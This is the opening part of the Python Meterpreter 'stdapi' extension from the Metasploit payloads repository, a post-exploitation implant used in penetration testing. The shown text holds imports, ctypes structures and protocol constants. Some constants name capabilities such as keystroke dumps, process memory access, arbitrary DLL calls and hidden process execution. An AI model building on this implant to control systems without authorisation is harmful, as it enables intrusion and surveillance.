1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00
metasploit-payloads/python/meterpreter/ext_server_stdapi.py

2497 lines
104 KiB
Python

import fnmatch
import getpass
import os
import platform
import re
import select
import shlex
import shutil
import socket
import struct
import subprocess
import sys
import time
try:
import ctypes
import ctypes.util
has_ctypes = True
has_windll = hasattr(ctypes, 'windll')
except ImportError:
has_ctypes = False
has_windll = False
try:
import pty
has_pty = True
except ImportError:
has_pty = False
try:
import pwd
has_pwd = True
except ImportError:
has_pwd = False
try:
import termios
has_termios = True
except ImportError:
has_termios = False
try:
import _winreg as winreg
has_winreg = True
except ImportError:
has_winreg = False
try:
import winreg
has_winreg = True
except ImportError:
has_winreg = (has_winreg or False)
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
libc = None
if has_ctypes:
if sys.platform == 'darwin' or sys.platform.startswith('linux'):
libc = ctypes.CDLL(ctypes.util.find_library('c'))
size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
#
# Windows Structures
#
class EVENTLOGRECORD(ctypes.Structure):
_fields_ = [("Length", ctypes.c_uint32),
("Reserved", ctypes.c_uint32),
("RecordNumber", ctypes.c_uint32),
("TimeGenerated", ctypes.c_uint32),
("TimeWritten", ctypes.c_uint32),
("EventID", ctypes.c_uint32),
("EventType", ctypes.c_uint16),
("NumStrings", ctypes.c_uint16),
("EventCategory", ctypes.c_uint16),
("ReservedFlags", ctypes.c_uint16),
("ClosingRecordNumber", ctypes.c_uint32),
("StringOffset", ctypes.c_uint32),
("UserSidLength", ctypes.c_uint32),
("UserSidOffset", ctypes.c_uint32),
("DataLength", ctypes.c_uint32),
("DataOffset", ctypes.c_uint32)]
class SOCKADDR(ctypes.Structure):
_fields_ = [("sa_family", ctypes.c_ushort),
("sa_data", (ctypes.c_uint8 * 14))]
class SOCKET_ADDRESS(ctypes.Structure):
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
("iSockaddrLength", ctypes.c_int)]
class sockaddr_in(ctypes.Structure):
_fields_ = [('sin_family', ctypes.c_short),
('sin_port', ctypes.c_ushort),
('sin_addr', ctypes.c_byte * 4),
('sin_zero', ctypes.c_char * 8)
]
SOCKADDR_IN = sockaddr_in
class sockaddr_in6(ctypes.Structure):
_fields_ = [('sin6_family', ctypes.c_short),
('sin6_port', ctypes.c_ushort),
('sin6_flowinfo', ctypes.c_ulong),
('sin6_addr', ctypes.c_byte * 16),
('sin6_scope_id', ctypes.c_ulong)
]
SOCKADDR_IN6 = sockaddr_in6
class SOCKADDR_INET(ctypes.Union):
_fields_ = [
('Ipv4', SOCKADDR_IN),
('Ipv6', SOCKADDR_IN6),
('si_family', ctypes.c_short)
]
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
_fields_ = [
("s", type(
'_s_IP_ADAPTER_UNICAST_ADDRESS',
(ctypes.Structure,),
dict(_fields_=[
("Length", ctypes.c_ulong),
("Flags", ctypes.c_uint32)
])
)),
("Next", ctypes.c_void_p),
("Address", SOCKET_ADDRESS),
("PrefixOrigin", ctypes.c_uint32),
("SuffixOrigin", ctypes.c_uint32),
("DadState", ctypes.c_uint32),
("ValidLifetime", ctypes.c_ulong),
("PreferredLifetime", ctypes.c_ulong),
("LeaseLifetime", ctypes.c_ulong),
("OnLinkPrefixLength", ctypes.c_uint8)]
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
_fields_ = [
("u", type(
'_u_IP_ADAPTER_ADDRESSES',
(ctypes.Union,),
dict(_fields_ = [
("Alignment", ctypes.c_ulonglong),
("s", type(
'_s_IP_ADAPTER_ADDRESSES',
(ctypes.Structure,),
dict(_fields_ = [
("Length", ctypes.c_ulong),
("IfIndex", ctypes.c_uint32)
])
))
])
)),
("Next", ctypes.c_void_p),
("AdapterName", ctypes.c_char_p),
("FirstUnicastAddress", ctypes.c_void_p),
("FirstAnycastAddress", ctypes.c_void_p),
("FirstMulticastAddress", ctypes.c_void_p),
("FirstDnsServerAddress", ctypes.c_void_p),
("DnsSuffix", ctypes.c_wchar_p),
("Description", ctypes.c_wchar_p),
("FriendlyName", ctypes.c_wchar_p),
("PhysicalAddress", (ctypes.c_uint8 * 8)),
("PhysicalAddressLength", ctypes.c_uint32),
("Flags", ctypes.c_uint32),
("Mtu", ctypes.c_uint32),
("IfType", ctypes.c_uint32),
("OperStatus", ctypes.c_uint32),
("Ipv6IfIndex", ctypes.c_uint32),
("ZoneIndices", (ctypes.c_uint32 * 16)),
("FirstPrefix", ctypes.c_void_p),
("TransmitLinkSpeed", ctypes.c_uint64),
("ReceiveLinkSpeed", ctypes.c_uint64),
("FirstWinsServerAddress", ctypes.c_void_p),
("FirstGatewayAddress", ctypes.c_void_p),
("Ipv4Metric", ctypes.c_ulong),
("Ipv6Metric", ctypes.c_ulong),
("Luid", ctypes.c_uint64),
("Dhcpv4Server", SOCKET_ADDRESS),
("CompartmentId", ctypes.c_uint32),
("NetworkGuid", (ctypes.c_uint8 * 16)),
("ConnectionType", ctypes.c_uint32),
("TunnelType", ctypes.c_uint32),
("Dhcpv6Server", SOCKET_ADDRESS),
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
("Dhcpv6Iaid", ctypes.c_ulong),
("FirstDnsSuffix", ctypes.c_void_p)]
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_uint32),
("dwTime", ctypes.c_uint32)]
class MIB_IFROW(ctypes.Structure):
_fields_ = [("wszName", (ctypes.c_wchar * 256)),
("dwIndex", ctypes.c_uint32),
("dwType", ctypes.c_uint32),
("dwMtu", ctypes.c_uint32),
("dwSpeed", ctypes.c_uint32),
("dwPhysAddrLen", ctypes.c_uint32),
("bPhysAddr", (ctypes.c_uint8 * 8)),
("dwAdminStatus", ctypes.c_uint32),
("dwOperStaus", ctypes.c_uint32),
("dwLastChange", ctypes.c_uint32),
("dwInOctets", ctypes.c_uint32),
("dwInUcastPkts", ctypes.c_uint32),
("dwInNUcastPkts", ctypes.c_uint32),
("dwInDiscards", ctypes.c_uint32),
("dwInErrors", ctypes.c_uint32),
("dwInUnknownProtos", ctypes.c_uint32),
("dwOutOctets", ctypes.c_uint32),
("dwOutUcastPkts", ctypes.c_uint32),
("dwOutNUcastPkts", ctypes.c_uint32),
("dwOutDiscards", ctypes.c_uint32),
("dwOutErrors", ctypes.c_uint32),
("dwOutQLen", ctypes.c_uint32),
("dwDescrLen", ctypes.c_uint32),
("bDescr", (ctypes.c_char * 256))]
class MIB_IPADDRROW(ctypes.Structure):
_fields_ = [("dwAddr", ctypes.c_uint32),
("dwIndex", ctypes.c_uint32),
("dwMask", ctypes.c_uint32),
("dwBCastAddr", ctypes.c_uint32),
("dwReasmSize", ctypes.c_uint32),
("unused1", ctypes.c_uint16),
("wType", ctypes.c_uint16)]
class MIB_IPINTERFACE_ROW(ctypes.Structure):
_fields_ = [
('Family', ctypes.c_uint16),
('InterfaceLuid', ctypes.c_uint64),
('InterfaceIndex', ctypes.c_uint32),
('MaxReassemblySize', ctypes.c_uint32),
('InterfaceIdentifier', ctypes.c_uint64),
('MinRouterAdvertisementInterval', ctypes.c_uint32),
('MaxRouterAdvertisementInterval', ctypes.c_uint32),
('AdvertisingEnabled', ctypes.c_uint8),
('ForwardingEnabled', ctypes.c_uint8),
('WeakHostSend', ctypes.c_uint8),
('WeakHostReceive', ctypes.c_uint8),
('UseAutomaticMetric', ctypes.c_uint8),
('UseNeighborUnreachabilityDetection', ctypes.c_uint8),
('ManagedAddressConfigurationSupported', ctypes.c_uint8),
('OtherStatefulConfigurationSupported', ctypes.c_uint8),
('AdvertiseDefaultRoute', ctypes.c_uint8),
('RouterDiscoveryBehavior', ctypes.c_uint32),
('DadTransmits', ctypes.c_uint32),
('BaseReachableTime', ctypes.c_uint32),
('RetransmitTime', ctypes.c_uint32),
('PathMtuDiscoveryTimeout', ctypes.c_uint32),
('LinkLocalAddressBehavior', ctypes.c_uint32),
('LinkLocalAddressTimeout', ctypes.c_uint32),
('ZoneIndices', ctypes.c_uint32 * 16),
('SitePrefixLength', ctypes.c_uint32),
('Metric', ctypes.c_uint32),
('NlMtu', ctypes.c_uint32),
('Connected', ctypes.c_uint8),
('SupportsWakeUpPatterns', ctypes.c_uint8),
('SupportsNeighborDiscovery', ctypes.c_uint8),
('SupportsRouterDiscovery', ctypes.c_uint8),
('ReachableTime', ctypes.c_uint32),
('TransmitOffload', ctypes.c_uint8),
('ReceiveOffload', ctypes.c_uint8),
('DisableDefaultRoutes', ctypes.c_uint8),
]
class IP_ADDRESS_PREFIX(ctypes.Structure):
_fields_ = [
('Prefix', SOCKADDR_INET),
('PrefixLength', ctypes.c_uint8)
]
class MIB_IPFORWARD_ROW2(ctypes.Structure):
_fields_ = [
('InterfaceLuid', ctypes.c_uint64),
('InterfaceIndex', ctypes.c_uint32),
('DestinationPrefix', IP_ADDRESS_PREFIX),
('NextHop', SOCKADDR_INET),
('SitePrefixLength', ctypes.c_uint8),
('ValidLifetime', ctypes.c_uint32),
('PreferredLifetime', ctypes.c_uint32),
('Metric', ctypes.c_uint32),
('Protocol', ctypes.c_uint32),
('Loopback', ctypes.c_byte),
('AutoconfigureAddress', ctypes.c_byte),
('Publish', ctypes.c_byte),
('Immortal', ctypes.c_byte),
('Age', ctypes.c_uint32),
('Origin', ctypes.c_uint32),
]
PMIB_IPFORWARD_ROW2 = ctypes.POINTER(MIB_IPFORWARD_ROW2)
class MIB_IPFORWARD_TABLE2(ctypes.Structure):
_fields_ = [("NumEntries", ctypes.c_uint32),
("Table", MIB_IPFORWARD_ROW2 * 0)
]
PMIB_IPFORWARD_TABLE2 = ctypes.POINTER(MIB_IPFORWARD_TABLE2)
class OSVERSIONINFOEXW(ctypes.Structure):
_fields_ = [("dwOSVersionInfoSize", ctypes.c_uint32),
("dwMajorVersion", ctypes.c_uint32),
("dwMinorVersion", ctypes.c_uint32),
("dwBuildNumber", ctypes.c_uint32),
("dwPlatformId", ctypes.c_uint32),
("szCSDVersion", (ctypes.c_wchar * 128)),
("wServicePackMajor", ctypes.c_uint16),
("wServicePackMinor", ctypes.c_uint16),
("wSuiteMask", ctypes.c_uint16),
("wProductType", ctypes.c_uint8),
("wReserved", ctypes.c_uint8)]
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [("dwSize", ctypes.c_uint32),
("cntUsage", ctypes.c_uint32),
("th32ProcessID", ctypes.c_uint32),
("th32DefaultHeapID", ctypes.c_void_p),
("th32ModuleID", ctypes.c_uint32),
("cntThreads", ctypes.c_uint32),
("th32ParentProcessID", ctypes.c_uint32),
("thPriClassBase", ctypes.c_int32),
("dwFlags", ctypes.c_uint32),
("szExeFile", (ctypes.c_char * 260))]
class SID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [("Sid", ctypes.c_void_p),
("Attributes", ctypes.c_uint32)]
class SYSTEM_INFO(ctypes.Structure):
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
("wReserved", ctypes.c_uint16),
("dwPageSize", ctypes.c_uint32),
("lpMinimumApplicationAddress", ctypes.c_void_p),
("lpMaximumApplicationAddress", ctypes.c_void_p),
("dwActiveProcessorMask", ctypes.c_uint32),
("dwNumberOfProcessors", ctypes.c_uint32),
("dwProcessorType", ctypes.c_uint32),
("dwAllocationGranularity", ctypes.c_uint32),
("wProcessorLevel", ctypes.c_uint16),
("wProcessorRevision", ctypes.c_uint16)]
class TOKEN_USER(ctypes.Structure):
_fields_ = [("User", SID_AND_ATTRIBUTES)]
class UNIVERSAL_NAME_INFO(ctypes.Structure):
_fields_ = [("lpUniversalName", ctypes.c_wchar_p)]
class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
_fields_ = [("fAutoDetect", ctypes.c_int8),
("lpszAutoConfigUrl", ctypes.c_wchar_p),
("lpszProxy", ctypes.c_wchar_p),
("lpszProxyBypass", ctypes.c_wchar_p)]
#
# Linux Structures
#
class IFADDRMSG(ctypes.Structure):
_fields_ = [("family", ctypes.c_uint8),
("prefixlen", ctypes.c_uint8),
("flags", ctypes.c_uint8),
("scope", ctypes.c_uint8),
("index", ctypes.c_int32)]
class IFINFOMSG(ctypes.Structure):
_fields_ = [("family", ctypes.c_uint8),
("pad", ctypes.c_int8),
("type", ctypes.c_uint16),
("index", ctypes.c_int32),
("flags", ctypes.c_uint32),
("chagen", ctypes.c_uint32)]
class IOVEC(ctypes.Structure):
_fields_ = [("iov_base", ctypes.c_void_p),
("iov_len", size_t)]
class NLMSGHDR(ctypes.Structure):
_fields_ = [("len", ctypes.c_uint32),
("type", ctypes.c_uint16),
("flags", ctypes.c_uint16),
("seq", ctypes.c_uint32),
("pid", ctypes.c_uint32)]
class RTATTR(ctypes.Structure):
_fields_ = [("len", ctypes.c_uint16),
("type", ctypes.c_uint16)]
class RTMSG(ctypes.Structure):
_fields_ = [("family", ctypes.c_uint8),
("dst_len", ctypes.c_uint8),
("src_len", ctypes.c_uint8),
("tos", ctypes.c_uint8),
("table", ctypes.c_uint8),
("protocol", ctypes.c_uint8),
("scope", ctypes.c_uint8),
("type", ctypes.c_uint8),
("flags", ctypes.c_uint32)]
TLV_EXTENSIONS = 20000
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
##
# General
##
TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
##
# Fs
##
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
TLV_TYPE_MOUNT_GROUP = TLV_META_TYPE_GROUP | 1207
TLV_TYPE_MOUNT_NAME = TLV_META_TYPE_STRING | 1208
TLV_TYPE_MOUNT_TYPE = TLV_META_TYPE_UINT | 1209
TLV_TYPE_MOUNT_SPACE_USER = TLV_META_TYPE_QWORD | 1210
TLV_TYPE_MOUNT_SPACE_TOTAL = TLV_META_TYPE_QWORD | 1211
TLV_TYPE_MOUNT_SPACE_FREE = TLV_META_TYPE_QWORD | 1212
TLV_TYPE_MOUNT_UNCPATH = TLV_META_TYPE_STRING | 1213
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1221
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
TLV_TYPE_FILE_MODE_T = TLV_META_TYPE_UINT | 1234
##
# Net
##
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
##
# Proxy configuration
##
TLV_TYPE_PROXY_CFG_AUTODETECT = TLV_META_TYPE_BOOL | 1445
TLV_TYPE_PROXY_CFG_AUTOCONFIGURL = TLV_META_TYPE_STRING | 1446
TLV_TYPE_PROXY_CFG_PROXY = TLV_META_TYPE_STRING | 1447
TLV_TYPE_PROXY_CFG_PROXYBYPASS = TLV_META_TYPE_STRING | 1448
##
# Socket
##
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
##
# Railgun
##
TLV_TYPE_EXTENSION_RAILGUN = 0
TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1)
TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2)
TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3)
TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4)
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5)
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6)
TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)
##
# Registry
##
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
##
# Config
##
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048
##
# Environment
##
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100
TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101
TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
##
# Process
##
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
##
# Ui
##
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
##
# Event Log
##
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
##
# Power
##
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
##
# Sys
##
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
PROCESS_ARCH_UNKNOWN = 0
PROCESS_ARCH_X86 = 1
PROCESS_ARCH_X64 = 2
PROCESS_ARCH_IA64 = 3
##
# Errors
##
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
# Special return value to match up with Windows error codes for network
# errors.
ERROR_CONNECTION_ERROR = 10000
# Windows Constants
GAA_FLAG_SKIP_ANYCAST = 0x0002
GAA_FLAG_SKIP_MULTICAST = 0x0004
GAA_FLAG_INCLUDE_PREFIX = 0x0010
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
LOCALE_SISO639LANGNAME = 0x0059
LOCALE_SISO3166CTRYNAME = 0x005A
PROCESS_TERMINATE = 0x0001
PROCESS_VM_READ = 0x0010
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
VER_NT_WORKSTATION = 0x0001
VER_NT_DOMAIN_CONTROLLER = 0x0002
VER_NT_SERVER = 0x0003
VER_PLATFORM_WIN32s = 0x0000
VER_PLATFORM_WIN32_WINDOWS = 0x0001
VER_PLATFORM_WIN32_NT = 0x0002
WIN_AF_INET = 2
WIN_AF_INET6 = 23
